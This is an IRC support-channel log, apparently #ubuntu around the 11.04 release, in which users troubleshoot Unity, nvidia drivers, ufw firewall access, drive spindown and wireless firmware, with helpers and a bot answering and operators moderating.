[21:54] <BlouBlou> anyone knows how to install openarena without installing 'ioquake3'? it seems it's a dependency, but in 10.10 was not
[21:54] <kath> havent been on irc since 2000......  but still almost the same..
[21:55] <ohsix> MrMist1: you need to read the spindown time with a command other than hdparm -I, -I was just to check to see if aam/apm was on, which can impact drives spinning down
[21:55] <Soothsayer> andycc, why did you revert?
[21:55] <ohsix> MrMist1: sorry if i wasn't explicit before, i thought you added apm settings to allow spindowns
[21:55] <rgr> ebiester: I missed your card. Which is it?
[21:55] <kath> ... So BlouBlou................... the 10.10 was better?.....
[21:55] <MrMist1> ohsix: I did, but since the file isn't being called anyway
[21:55] <eamon> hihihi100: have a looky here http://lmgtfy.com/?q=custom+boot+screen+ubuntu
[21:55] <MrMist1> ohsix: I removed them again. Less is more
[21:56] <Soothsayer> ohsix, :-P I'm having some issues with Unity.. tell me how would I go about this? I have this java which I've placed in /opt/phpstorm/ . So I execute /opt/phpstorm/bin/run.sh to run the app... how do I make this accessible to the launcher ?
[21:56] <MrMist1> ohsix: I had "apm = 127" before, but it did nothing.
[21:56] <ohsix> MrMist1: try the DEVNAME thing again with the stray } removed
[21:56] <Snakkah> EDIT: Nevermind, got it.
[21:56] <lsv> ActionParsnip: does changing that line in /etc/default/grub changes how I would log into the windows partition? (a little ashamed of this)
[21:56] <ADSDS> hi
[21:57] <MrMist1> ohsix: aaah... there's a stray }?? Didn't see that one..
[21:57] <ohsix> ebiester: ok so it's not using either of your video cards, but vesa or something; did you use nomodeset when you booted or otherwise have to do anything special to get it to start?
[21:57] <ActionParsnip> lsv: no, the options are only added to the linux kernels as far as I know
[21:57] <ADSDS> whats the new ubuntu
[21:57] <ohsix> Soothsayer: no clue on that one, you can create a .desktop file and put it in the right place; that's all the old panel "create launcher" thing did
[21:57] <Edd> mountall: Disconnected from Plymouth <<< any idea ?
[21:57] <tarvid> need suggestion on video accelerator for Intel Mobile 4 in an Acer 7736x-4088 laptop
[21:57] <ezro> who know where is the theme folder?
[21:57] <herol3oy> which one is better?  do-release-upgrade  or download the ubuntu11.4 ISO file and then mount the ISO file and >>>gksu "sh /media/cdrom/cdromupgrade"   ????
[21:58] <ADSDS> whats the new ubuntu
[21:58] <ohsix> Edd: if you don't have a video card or have one without kms, that's a normal message
[21:58] <jamie4> Any way to have the [FILE] [EDIT] etc menus to always show on the bar in Unity?
[21:58] <MrMist1> ohsix: Now we're talking.. it's being run now...
[21:58] <Dr_Willis> ezro:  system wide? or user specific?
[21:58] <rgr> ADSDS: Ask a Q if you have one ;)
[21:58] <silvrax> i just upgraded to 11.04, now when I hoover some buttons/menus etc and a tooltip appears, my mouse cursor itself actally dissappears, which i find very annoying. Does anyone know what is wrong there? (i'm using gnome, not unity)
[21:58] <Dr_Willis>  /usr/share/themes/
[21:58] <Dr_Willis> or /home/username/.themes
[21:58] <Soothsayer> ohsix, ye i managed to move it into unity launcher.. and it works.. but the problem is now when the app launches, it doesn't appear in the unity taskbar!
[21:58] <ezro> thanks
[21:58] <ohsix> rgr: even when you have the potential to answer ... D:
[21:58] <ebiester> ohsix: The nvidia is Nvidia GeForce GT 540M -- I had to look it up. But the series of events is. 1. Install 10.10. 2. try to install the proprietary extension, which kills X. 3. After trying to get the open source nv or intel working, delete xorg.conf. 4. Upgrade to Natty
[21:59] <lsv> ActionParsnip: ok, thanks, will reboot after some update finishes.  Thanks again.
[21:59] <ohsix> ADSDS: 11.04, it was released a few days ago
[21:59] <Soothsayer> ohsix, that's so bizarre cause how would I find that window :-|
[21:59] <rgr> ebiester: have you ran nvidia-settings or sgfxi?
[21:59] <Edd> ohsix i used ubuntu since v.7
[21:59] <herol3oy> which one is better? do-release-upgrade or download the ubuntu11.4 ISO file and then mount the ISO file and >>>gksu "sh /media/cdrom/cdromupgrade" ????	
[21:59] <Edd> never had this error
[21:59] <Edd> on the same laptop
[21:59] <kjxl9> hey guys, i need some help with terminal
[21:59] <ohsix> Soothsayer: ah you'll have to look at other .desktop files that do, something with bamfdaemon does that i think
[22:00] <kjxl9> it's asking me for my password but nothing i type comes up
[22:00] <ActionParsnip> herol3oy: the upgrade online will use the most recent debs, using the alternate ISO willonly give you the version on the cD, you will then need to upgrade online
[22:00] <hauptstrasse> herol3oy, it doesn't matter. if you upgrade over the network, you'll get the latest packages, which might not be the case if you use the cdrom.
[22:00] <ActionParsnip> kjxl9: it doesn't give feedback,just type it and hit enter
[22:00] <ohsix> ebiester: hm ok so you need to nuke the bits of the nvidia driver left around, did you install the .bin from nvidia or something from a package manager?
[22:00] <lsv> kjxl9: that's normal. Just type the password and press enter
[22:00] <Soothsayer> ohsix, why does it have to be so complicated?
[22:00] <cousin_mario> bbl
[22:00] <kjxl9> thanks
[22:01] <notlistening> can anyone else get negative to work in 11.04 for me
[22:01] <ohsix> Soothsayer: heh it may not be consoling,  but it's actually simpler now
[22:01] <herol3oy> thanks guys!
[22:01] <ohsix> Soothsayer: it's at least defined and theres software to do it for you :\
[22:01] <notlistening> if you turn if onto all windows do new windows inherit negativity?
[22:02]  * herol3oy bye
[22:02] <noob25> Hello guys I've just installed Ubuntu 11.04 and I installed an application called xsensors but it's only showing me the temperature of 1 thing and I have no idea of what. It should be showing me 1x Internal, 1x CPU, 1x GPU, 2x HDD. Are there any tools built into Ubuntu so I can check whether  it's a problem with Ubuntu or the software?
[22:02] <Soothsayer> ohsix, im still confused as to what to do. I believe this is going to happen for all java programs then.
[22:02] <hauptstrasse> noob25, acpi -t
[22:02] <ohsix> notlistening: theres no distinction for new windows, it's done as they're all rendered
[22:02] <Dr_Willis> notlistening:  I thought it was a 'per window' or 'entire desktop' setting.
[22:02] <asdfasdfasdfasdf> hello is it possible to add a song to loved list at last.fm with Exaile music player? according to this https://bugs.launchpad.net/exaile/+bug/739264 there seem to be a plugin to do that, but i can't find it anywhere :(
[22:02] <ubottu> Ubuntu bug 739264 in Exaile "Last,fm Loved Tracks plugin fails on unload" [Low,Fix committed]
[22:02] <ohsix> notlistening: so if you do per window it's just that window, or the entire desktop it's the whole thing
[22:02] <Acriax> http://ubuntuforums.org/showthread.php?t=217328 <-- the last 3 comments on this page made my day :D
[22:03] <Dr_Willis> notlistening:  some compiz settings/plugins can break unity. so be carefull with them :)
[22:03] <notlistening> ohsix, well thats what i mean
[22:03] <ohsix> Soothsayer: if the launcher is right it should work as expected
[22:03] <notlistening> ohsix, open a new app :P
[22:03] <ohsix> notlistening: if it's to the desktop it still applies to the new window, but let me try here to confirm
[22:03] <Edd> ive never been disappointed with linux till this day
[22:03] <ebiester> ohsix: I installed it from the popup in ubuntu. (Sorry, that was a few weeks ago, I don't have the exact other than remember it suggesting proprietary drivers.) I got rid of all of that, but natty seems to have brought some of it back. Do I just purge all of this? http://paste.ubuntu.com/601469/
[22:04] <ActionParsnip> Edd: do you not mean ubuntu?
[22:04] <ohsix> notlistening: wow! that's a bug haha
[22:04] <MrMist1> ohsix: Seems like it's working now for the two drives I have mountet, but the backup-drive which I'm not mounting won't go into standby mode. Any idea why? Can I place it in standby mode during boot?
[22:04] <noob25> hauptstrasse I have to install it, could this be a reason why it's not reading or is this just a separate tool?
[22:04] <ohsix> notlistening: please report it so i can mark it as affecting me as well, i use it often
[22:04] <Edd> ActionParsnip i mean ubuntu ! wt' sthis error regarding plymouth
[22:04] <Edd> never had it!
[22:04] <andeeeuk> is there any way with 11.04 to add a mail notification for thunderbird?
[22:04] <notlistening> ohsix, I have a long list of them :)
[22:04] <ActionParsnip> Edd: you don't have to use plymouth
[22:04] <Rehan_> anytime I fill out the information in the About Me section in ubuntu and hit close, it never saves anything. Why is that?
[22:04] <ohsix> ebiester: ah ok that was probably jockey and it shouldn't have broken anything you can't just remove, sec
[22:04] <notlistening> ohsix, I will post the report soon
[22:04] <andeeeuk> on the menu bar
[22:04] <Edd> ActionParsnip how can i get rid of it ?
[22:05] <ohsix> notlistening: post a bug instead, on launchpad.net
[22:05] <ohsix> notlistening: that's a functionality change from .8 that i'm pretty sure wasn't intended
[22:05] <Soothsayer> ohsix, the application executes fine.. just that it does not show as an icon in the left unity taskbar
[22:05] <ActionParsnip> Edd: remove the bootoptions: quiet splash      and you will boot in text mode
[22:05] <hauptstrasse> noob25, its a seperate tool
[22:05] <rgr> andeeeuk: use a third party mail notifier.
[22:05] <Edd> ActionParsnip i booted in text mode, i want GUI
[22:05] <ohsix> Soothsayer: then it's missing some entries in the .desktop file to make that work
[22:05] <andeeeuk> on the menu bar?
[22:05] <ActionParsnip> Edd: yes it will boot in text mode, then load the desktop
[22:05] <noob25> hauptstrasse ok thanks
[22:06] <rgr> possibly something like gnubiff. There are multiple possibilities.
[22:06] <Edd> ActionParsnip u mean via: startx ?
[22:06] <lsv> me bye
[22:06]  * lsv bye
[22:06] <ohsix> rgr: who are you speaking to?
[22:06] <andeeeuk> rgr which app would you recomend?
[22:06] <jamie4> Question about Unity - anyone hacking it yet?
[22:06] <ActionParsnip> Edd: gdm will load once the system has fully booted
[22:06] <lsv> quit
[22:06] <Soothsayer> ohsix, ok see I created a new "Menu Item" in the "Main Menu" dialog in the Control Centre.
[22:06] <Edd> ActionParsnip nothing is loading
[22:06] <ActionParsnip> Edd: you just won't see plymouth
[22:06] <Edd> :/
[22:06] <godMitax> anybody can help me installing bt4 r2 tools on ubuntu 11.04 ?
[22:06] <Edd> that's the point
[22:07] <godMitax> anybody can help me installing bt4 r2 tools on ubuntu 11.04 ?
[22:07] <andeeeuk> rgr which app would you recomend for mail notifications??
[22:07] <Soothsayer> ohsix, http://i.imgur.com/doyxY.png
[22:07] <ebiester> ohsix: If you said something, could you repeat it? I just accidentally cleared the window.
[22:07] <starredsteria> Hey.... has anyone had any issues starting ubuntu after installing nvidia drivers - for 11.04?
[22:08] <Soothsayer> that's all the options I get @ ohsix
[22:08] <Guest46633> Is there some sort of firewall on by defualt in Ubuntu?  I could ssh in just fine when I set it up, now I've flown away and can't ssh in from anywhere else.  It's directly connected to a cable modem.
[22:08] <ActionParsnip> !firewall | Guest46633
[22:08] <ubottu> Guest46633: Ubuntu, like any other Linux distribution, has firewall capabilities built-in. The firewall is managed using the 'ufw' command - see https://help.ubuntu.com/community/UFW | An alternative to ufw is the 'iptables' command - See https://help.ubuntu.com/community/IptablesHowTo | GUI frontends such as Gufw (Gnome) or Guarddog (KDE) also exist.
[22:08] <LjL> Guest46633: yeah these days there is u. "sudo ufw allow port 22" or something should free your ssh
[22:08] <rgr> wow. firestarter is MUCH better than those suggestions.
[22:09] <ActionParsnip> Edd: then boot with plymouth loading and press ESC and you will see the boot messages, what are the last few messages?
[22:09] <ADSDS> whats the new ubuntu#
[22:09] <LjL> rgr: it's also deprecated
[22:09] <arrrghhh> firestarter is deprecated?
[22:09] <rgr> When did that happen?
[22:09] <arrrghhh> bummer, i used to like that when i needed it.
[22:09] <ActionParsnip> rgr: firestarter is just abother gui to iptables
[22:09] <arrrghhh> ActionParsnip, indeed like any of those
[22:09] <rgr> first I heard of I must say. Damn good UI.
[22:09] <Rehan_> anytime I fill out the information in the About Me section in ubuntu and hit close, it never saves anything. Why is that?
[22:09] <rgr> I know what it is.
[22:09] <christhecoolboy> ActionParsnip, your on... I have a weird idea...
[22:09] <ohsix> rgr: you need to keep your opinions to yourself, this is a HELP CHANNEL
[22:10] <rgr> But deprecated? Why? Its just a easy way to set up iptables.
[22:10] <JunK-Y> how can i disable visual effect under 11.04? the tab visual effect isnt there anymore.
[22:10] <Edd> ActionParsnip me see wait
[22:10] <LjL> rgr, arrrghhh: heard them saying that in -ops. searching logs.
[22:10] <ohsix> rgr: ufw has simple allow/deny rules and hooks for more complicated rules that wont be clobbered by user changes
[22:10] <andeeeuk> has switch application in 11.04 been removed? really weird alt-tab does not work :s#
[22:10] <rgr> I never heard of a GUI tool that good being deprecated. I'll take a peek as I always recommend it : nice logging too.
[22:10] <ohsix> rgr: you could argue that average people shouldn't be setting up more than allow/deny rules anyways; and neither should software packages
[22:11] <LjL> rgr: ah well it's been at version 1.0.3 for forever, apparently
[22:11] <Edd> ActionParsnip: mountall: Disconnected from Plymouth
[22:11] <ohsix> rgr: "that good" is your opinion, it is not notable here
[22:11] <Cale> JunK-Y: System -> Preferences -> Appearance -> Visual Effects?  I'm on 10.10, but I don't think the place has changed.
[22:11] <ohsix> ebiester: let me think a bit, and i didn't say anything
[22:11] <Guest46633> ljl: but i could connect via ssh locally.. does the default fw care about source IP?
[22:11] <snake_> sera serina
[22:11] <Elad123> Hi all, I just upgraded to ubuntu 11.04 (using unity), I'm using 2 monitor, the problem is that the notify-osd is on the secondary monitor (nvidia video card), someone can help me please?
[22:11] <rgr> but nothing has destaically changed in iptables.
[22:11] <rgr> heh. good typo..
[22:11] <LjL> Guest46633: i think it does
[22:11] <ebiester> ohsix: no worries. Thanks. :)
[22:11] <guntbert> !backtrack | godMitax
[22:11] <ubottu> godMitax: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux), Ultimate Edition
[22:11] <ActionParsnip> Edd: anything above that?
[22:11] <rgr> Guest46633: yes
[22:12] <silvrax> as soon as a tooltip is displayes, my mouse cursos dissapers, is that normal?
[22:12] <Guest46633> ljl: wow i hope you're wrong.. i set up a system 1500 miles from home and i'm half way accross the country now.
[22:12] <Cale> silvrax: no
[22:12] <ohsix> Guest46633: default fw has no policy
[22:12] <LjL> rgr: well, the community docs only really say "Note: Although Firstarter is fully functional, active development ended in 2005 with version 1.0.3. For an overview of alternative applications, see Firewall.", so perhaps deprecated is a strong word
[22:12] <christhecoolboy> ActionParsnip, I have an idea...
[22:12] <ActionParsnip> christhecoolboy: sup?
[22:12] <Guest46633> ohsix: so its all open by default?
[22:12] <rgr> Guest46633: did you also install banip or something?
[22:12] <JunK-Y> cale: yes it changed.
[22:12] <christhecoolboy> ActionParsnip, could my mic be blacklisted? and... not loaded?
[22:12] <ohsix> Guest46633: unless it's different in -server, that's all i know
[22:13] <ActionParsnip> christhecoolboy: not sure man, i'm rubbish with sound issues
[22:13] <silvrax> Cale: tnx.. any clue why it may happen?
[22:13] <ybit_> hey guys, i've got a problm with ubuntu not being able to process all my keystrokes, anyone know of a similar bu?
[22:13] <kwrite> Does anyone know why B43 is not showing up in Additional Drivers? I can only see STA.
[22:13] <JunK-Y> theres just Theme,Background and Font
[22:13] <ybit_> bug*
[22:13] <christhecoolboy> ActionParsnip, I tried a wired mic and it didn't work...
[22:13] <jamie4> Any way to have the [FILE] [EDIT] etc menus to always show on the bar in Unity?
[22:13] <rgr> firestarter has frozen. Its not deprecated from what I can see.
[22:13] <Cale> silvrax: No idea really... are you using compiz? It has lots of crazy options and that... might be one of them. I don't really know.
[22:13] <ohsix> kwrite: b43 is the included driver, STA is the vendor one, did jockey used to offer the b43 driver? it only ever needed the firmware, which you can get by installing b43-fwcutter and running the included script
[22:13] <ybit_> it just happened randomly
[22:14] <Rehan_> does anyone else have this problem? https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/752452
[22:14] <ubottu> Ubuntu bug 752452 in gnome-control-center (Ubuntu) ""About me" in Control Center doesn't store your information (always opens empty)" [Undecided,Confirmed]
[22:14] <ohsix> rgr: that's great, ubuntu uses ufw; thanks
[22:14] <Edd> ActionParsnip fsk succeeding nothing more
[22:14] <silvrax> Cale: no compiz...
[22:14] <Witchsong_> I have installed ubuntuone-indicator, but the indicator doesn't show up at the bar.
[22:14] <kwrite> oshix: What script?
[22:14] <ohsix> ActionParsnip: how come you never chime in to undo the mess done to peoples computers by the nvidia drivers like ebiester ?
[22:14] <Witchsong_> Anyone know if this is just a bug or if I might have done it wrong somehow?
[22:14] <notlistening> ohsiz, https://bugs.launchpad.net/ubuntu/+source/compiz/+bug/774444
[22:14] <ubottu> Ubuntu bug 774444 in compiz (Ubuntu) "Compiz Negative Plugin fails on rendering new windows" [Undecided,New]
[22:14] <kwrite> oshix: Jockey offered the driver in 10.10 and I got it up and running then
[22:14] <rcconf> what is the device for DVD drive'
[22:14] <Chrom_> hi
[22:14] <rcconf> ?
[22:14] <Cale> silvrax: Apparently there's something called "unclutter" which does that
[22:15] <Cale> silvrax: might want to check if it's installed
[22:15] <kermit> rgr: i did not install anything really, its just for my grandma
[22:15] <ohsix> kwrite: i don't have it installed here, but dpkg -L b43-fwcutter will list the files after it's installed, the script is the one ending in .sh
[22:15] <ubuntu> I need help loading the file manager as root
[22:15] <Elad1234> Hi all, I just upgraded to ubuntu 11.04 (using unity), I'm using 2 monitor, the problem is that the notify-osd is on the secondary monitor (nvidia video card), someone can help me please?
[22:15] <adzy> hello
[22:15] <rcconf> ?/dev/cdrom
[22:15] <ohsix> notlistening: thanks
[22:15] <Chrom_> is anyone using gnome-classic in 11.04? there's a very annoying bug that doesn't let you trash items using the trash applet. Can someone confirm this?
[22:15] <adzy> <adzy> hello all
[22:15] <twiggydanger> Why does gksu nautilis not do anything?
[22:16] <LjL> ohsix: now i think that was gratuitous. i haven't seen ActionParsnip talking to you in a while. at this point i'm sick and tired of seeing you three bickering. a mute is going to come next, so all three of you, really, please behave and have a little tolerance for each other
[22:16] <silvrax> Cale: yeah, thats what google told me too, but its not installed
[22:16] <Cale> silvrax: https://launchpad.net/ubuntu/+source/unclutter
[22:16] <Ultimate_Chaos> hello
[22:16] <Cale> hmm
[22:16] <notlistening> ohsix, do you ever use the enhanced zoom feature?
[22:16] <Ultimate_Chaos> hello?
[22:16] <Ultimate_Chaos> i need help
[22:16] <Whinis> did anyone else get a bumbed grub on upgrade?
[22:16] <kwrite> oshix I see some files and directories but theres no scripts
[22:16] <Ultimate_Chaos> i need help
[22:16] <MrMist1> ohsix: Hmm... Can't get sdd into sleep mode, but the two other drives works perfectly. Is it because I don't mount it somehow? I don't need to have it mounted..
[22:16] <Ultimate_Chaos> i need help
[22:16] <Elad1234> Hi all, I just upgraded to ubuntu 11.04 (using unity), I'm using 2 monitor, the problem is that the notify-osd is on the secondary monitor (nvidia video card), someone can help me please?
[22:16] <ActionParsnip> ohsix: must've missed the question, watching some youtube fun and games now so popping in and out
[22:17] <Ultimate_Chaos> i need help
[22:17] <Elad1234> Ultimate_Chaos, ?
[22:17] <Whinis> ultimate_chaos we see you
[22:17] <silvrax> Cale: i think unclutter hides the cursor after some timeout, mine only goes away when i tooltip is displayed...
[22:17] <ActionParsnip> !ask | Ultimate_Chaos
[22:17] <ubottu> Ultimate_Chaos: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[22:17] <christhecoolboy> ActionParsnip, do you know anyone who might be able to help me more?!
[22:17] <LjL> Ultimate_Chaos: please don't spam. you've already done something like that the last time you joined. say things ONCE.
[22:17] <ActionParsnip> christhecoolboy: guys in here may
[22:17] <LjL> Ultimate_Chaos: you're currently muted, i'll unmute you when you acknowledge this.
[22:17] <ohsix> notlistening: i did yea, but i haven't been able to use it satisfactorily with compiz .9, very very very awful slow
[22:17] <merlin2049er> hey, just upgraded to narty
[22:17] <rcconf>  how do I create a virtual drive in UBuntu?
[22:17] <rgr> Elad1234: there are logged bugs with notify-osd on dual screen. not least it being invisible.
[22:17] <Ellipsis753> is there a guide to removing the new bar on the left hand size and making ubuntu 11.04 not look like 11.04 somewhere? I've tried to grow to like it but I just can't use it, the lack of an open windows list is a real blow.
[22:17] <merlin2049er> is there a driver for nvidia
[22:18] <sdegutis> why is he muted?
[22:18] <sdegutis> no comprendo
[22:18] <LjL> sdegutis: because he asked for helps like 5 times in a row
[22:18] <twiggydanger> Why does gksu nautilis not do anything?
[22:18] <Whinis> Ellipsis753 at login select ubuntu classic at bottom
[22:18] <ohsix> LjL: i just figured after being so hawkins over xorg.conf he'd be really on top of things, but i guess that's just me
[22:18] <sdegutis> oh ok
[22:18] <sdegutis> comprendo.
[22:18] <adzy> how do i make someones name red when i reply to them?
[22:18] <LjL> adzy: just include their nickname
[22:18] <LjL> !tab > adzy    (adzy, see the private message from ubottu)
[22:18] <kwrite> oshix: I remember something saying cant find firmware ucode 15 or something to that effect. I read that that meant the driver's installed but not the firmware. b43-fwcutter -l
[22:18] <kwrite> oshix says: b43		wl_apsta.o		478.104		FW15
[22:18] <notlistening> ohsix, well unity doesn't play nicely with it now :(, can't access the menu when zooming
[22:18] <adzy> !tab
[22:18] <ubottu> You can use your <tab> key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line.
[22:18] <Soothsayer> ohsix, ok now it all of a sudden starts appearing in the unity taskbar
[22:18] <ohsix> MrMist1: you shouldn't need it mounted,  but your firmware might ignore what you tell it, or it might be entangled with the other power/noise settings like i said earlier
[22:18] <Ultimate_Chaos> sry bout earlier
[22:19] <ActionParsnip> adzy: if you type their nick at the start of aline it will highlight for them
[22:19] <ohsix> notlistening: ah i didn't try it with unity
[22:19] <rgr> depends on which irc client you use
[22:19] <adzy> LjL, Just lik this?
[22:19] <Ultimate_Chaos> it decided to run my mass hug script without permission
[22:19] <LjL> adzy: yep
[22:19] <Elad1234> rgr, the problem occur only when I'm using unity (in the gnome-classic mode = gnome-panel it works fine)
[22:19] <Ellipsis753> Whinis, ahh, thank god. Am I alone in not liking all of the new changes?
[22:19] <adzy> LjL: thanks ;)
[22:19] <Ultimate_Chaos> well
[22:19] <ohsix> kwrite: the firmware name might have changed, but on my netbook where it was required i don't recall ever having to rename it, dunno what to say
[22:20] <Ultimate_Chaos> my sidebar wont work and i dont know how to start it
[22:20] <twiggydanger> Can someone please help me: Why does gksu nautilis not do anything?
[22:20] <ohsix> kwrite: i could just be misremembering and i've been using the STA driver all along though ;]
[22:20] <Whinis> Ellipsis753 I don't mind it however after messing with settings for a few hours its not that bad
[22:20] <notlistening> ohsix, I would like to adopt unity but it is giving more heaches that its worth with the features of compiz i use regularly
[22:20] <ohsix> twiggydanger: natilus
[22:20] <sdegutis> hello
[22:20] <sdegutis> <3
[22:20] <eamon> adzy: you only need to type "LJ" then tab and the the program will complete the name for you. If many names start the same press tab many times
[22:20] <rgr> becuase there is not such command as nautilis
[22:20] <ohsix> twiggydanger: you don't want to run it as root though ...
[22:20] <sourcemaker> can I re-crypt an existing encrypted file system (LUKS) with an other encryption method?
[22:20] <kwrite> oshix: Np thanks for your help :)
[22:20] <Ellipsis753> Whinis, ahh, what did you change/get rid of?
[22:20] <twiggydanger> ohsix: oh ok thanks
[22:20] <adzy> eamon, thanks for that ;)
[22:20] <kad_> what is Ubuntu Unity?
[22:20] <bobbycvi> hello
[22:20] <merlin2049er> nvidia driver for 11.04?
[22:20] <ohsix> rgr: address the person you're talking to please, there's a lot of people talking
[22:21] <Ultimate_Chaos> plz wait
[22:21] <Ultimate_Chaos> my system
[22:21] <eamon> kad_: If the GUI tthat the new version of ubuntu uses
[22:21] <alienkid10> how can I get gnome-shell to be default shell in 11.04?
[22:21] <bobbycvi> from where i can find original sources.list for 11.04
[22:21] <bobbycvi> ?
[22:21] <Ultimate_Chaos> ubuntu 11.04 beta 1
[22:21] <Ultimate_Chaos> i know it has been released
[22:21] <Sledge> sudo apt-get install gnome2
[22:21] <ActionParsnip> merlin2049er: which nvidia chip?
[22:21] <merlin2049er> 470
[22:21] <kad_> eamon,  ah Ubuntu 11.0.4 is the new Design called: ubuntu Unity?
[22:21] <Ultimate_Chaos> should i upgrade?
[22:21] <ActionParsnip> Ultimate_Chaos: you have typed a lot and so far told us nothing
[22:21] <merlin2049er> gtx470
[22:21] <adzy> if i want to fresh install new ubuntu over 10.04, when i format the partition will it remove grub too?
[22:21] <bennipropper> hi
[22:22] <ActionParsnip> Ultimate_Chaos: its released so is officially released so is 'stable'
[22:22] <Jordan_U> !gnome3 | alienkid10
[22:22] <ubottu> alienkid10: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[22:22] <christhecoolboy> Ok... The Problem I have is that my mic is not listed after the 11.04 upgrade, it now has "Internal Audio Analogue Stereo" Instead... I have a MSI AE2020, The Sound card is a Nvidia MCP79 and the computer requires Snd-hda-intel to have Auto to have sound, loads more were tested in 10.10, http://paste.ubuntu.com/601047/ and http://paste.ubuntu.com/601054/ should give you more Information that can help fix it, the Mic is built in to the computer, P
[22:22] <christhecoolboy> lease can someone help as I need my mic often for podcasting, Thanks for any help I do get...
[22:22] <eamon> kad_: Yes, it's the biggest new feature
[22:22] <Ultimate_Chaos> THE SIDEBAR  for application navigation does not start
[22:22] <ActionParsnip> merlin2049er: sudo apt-get Install nvidia-current
[22:22] <sakuramboo> ive installed a few games, but they do not show up in the games menu in unity, is there a way to manually add them?
[22:22] <kad_> eamon, amazing =)
[22:22] <bennipropper> does anyone know how to make my steelseries headset work on ubuntu 11.04???
[22:22] <eamon> merlin2049er: The newest nvidia blob would be what you want
[22:22] <Ultimate_Chaos> I look for it and i cant find out how to start it
[22:22] <ActionParsnip> Ultimate_Chaos: if you don't have 3D accelleration and compiz running it will not start
[22:22] <kwrite> oshix: Found out STA is doing what I want it to do now. Idk why it does now and didn't in 10.10/ :)
[22:22] <Ultimate_Chaos> ohhhhhh
[22:22] <Ultimate_Chaos> 3d acceleration
[22:22] <twiggydanger> ohsix: I do want to run nautilis as root and "gksu natilus" does the same thing as "gksu nautilis": NOTHING
[22:23] <Ultimate_Chaos> i disabled that
[22:23] <whinis> Ellipsis753 mostly I just fixed some of the issues with compiz like reenabling cube and my other plugins, got alot of programs working again that broke, and changed some basic settings
[22:23] <merlin2049er> k
[22:23] <merlin2049er> does it work well
[22:23] <adzy> if i want to fresh install new ubuntu over 10.04, when i format the partition will it remove grub too???
[22:23] <ActionParsnip> Ultimate_Chaos: unity needs it
[22:23] <hobbel> Major problem here, I have files disappearing on a fresh install of 11.04. Space remains filled though. No clue on the problem
[22:23] <alienkid10> Jordan_U: so should switch to something else then?
[22:23] <ohsix> kwrite: ;] i use STA because my card eventually starts acting like the chip is overheating with the open driver, drops connection and stuff
[22:23] <JWay> using intel gma 3100 and ubuntu 11.04 how come xcompmgr -c will not give me shadows on windows?
[22:23] <RAMPKORV> bah, I hate when Unity's window buttons disappear so you can't move or close your program
[22:23] <starredsteria> Is there any reason as to why ubuntu won't start after installing nvidia drivers?
[22:23] <whinis> Ellipsis753 fixing the nvidia but helped too
[22:23] <kad_> eamon, but the Flash player for 64-bit still contains some problem? because sometimes firefox freeze
[22:23] <starredsteria> I have to do a fresh install... as ubuntu won't load anymore
[22:23] <ohsix> twiggydanger: it's nautilus, but what i'm saying is you probably want to do what you're trying to do some other way, nautilus is a big thing to run as root and mistakes are easy
[22:24] <Ultimate_Chaos> is 2d video acceleration needed with ubuntu?
[22:24] <Ellipsis753> Whinis, ok thanks. I may do that or just end up going to classic. Nvidia was more or less the main reason I updated, 11.04 has a newer driver and doesn't make garbled graphics like the old.
[22:24] <MrMist1> ohsix: Hehe... by mounting the drive through fstab, it now goes into sleep mode. I'm not setting any APM parameter at all in any config. Thanks for all the help by the way
[22:24] <notlistening> Unity good or bad, please give opnions..? ;)
[22:24] <merlin2049er>  sudo apt-get Install nvidia-current doesn't work for me?
[22:24] <Ultimate_Chaos> unity is AWESOME!
[22:24] <yfk> how can I re-enable control-alt-backspace on natty?
[22:24] <ohsix> MrMist1: hm interesting
[22:24] <kwrite> notlistening I tried Gnome3 and It was cool but not what I'd use everyday but I LOVE Unity :P
[22:24] <twiggydanger> ohsix: I want to run it as root because I have a folder with a shitload of files that I need to change ownership of and i don't want to do it one by one
[22:24] <eamon> merlin2049er: the nvidia blob is the official nvidia driver it comes from nvidia so it is the best
[22:24] <whinis> Ellipsis753 ya, I don't use the nouveau driver as I use wine and game alot. Nouveau is bad for gaming where as the Nvidia driver is good for gaming
[22:24] <merlin2049er> how do i install that
[22:24] <Ultimate_Chaos> also it there a way to make it start faster?
[22:25] <ohsix> MrMist1: there were some changes about delayed settings applications with libata way back when, it probably doesn't even try and talk to the drive until it's in use for something
[22:25] <Witchsong_> notlistening, now that I have got used to Unity, I really wouldn't go back to Gnome. :)
[22:25] <Soothsayer> In a dual monitor setup, could some recommend a way to have a launcher/dock in the second monitor?
[22:25] <asdf_msc> Has anyone here gotten WoW to work on 11.04?
[22:25] <ActionParsnip> yfk: its in the keyboard settings under the options button
[22:25] <ChogyDan> yfk: try alt-sysrq-k to kill the xserver
[22:25] <Ultimate_Chaos> i takes 2.782 minutes to start
[22:25] <Ellipsis753> Whinis, yeah, I had Nvidia before the update, I'll still have it now right?
[22:25] <Dave888> asdf_msc: Yap.
[22:25] <tjiggi_fo> !polls | notlistening
[22:25] <ubottu> notlistening: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.
[22:25] <ActionParsnip> asdf_msc: check the appdb, there is a guide there
[22:25] <ohsix> MrMist1: if you want your sleep settings to be applied be sure to run whatever you need to with hdparm to tell the drive to save the settings over resets; it still might not do it, but it's the best you can do given the circumstances
[22:25] <yfk> ChogyDan, sysrq?
[22:25] <Ultimate_Chaos> oh nvm
[22:25] <asdf_msc> for 11.04? where?
[22:25] <ohsix> twiggydanger: you can use chown -R ...
[22:25] <whinis> Ellipsis753 maybe, mine broke on update since it was a new kernel and I assume some of the settings changes. I had to uninstall my manual drivers and install nvidia-current
[22:25] <eamon> merlin2049er: follow this guide to use the official nvidia driver https://help.ubuntu.com/community/BinaryDriverHowto/Nvidia
[22:26] <Ultimate_Chaos> that incrested ram and the 3d and 2d acceleration worked
[22:26] <Ellipsis753> whinis, cool thanks.
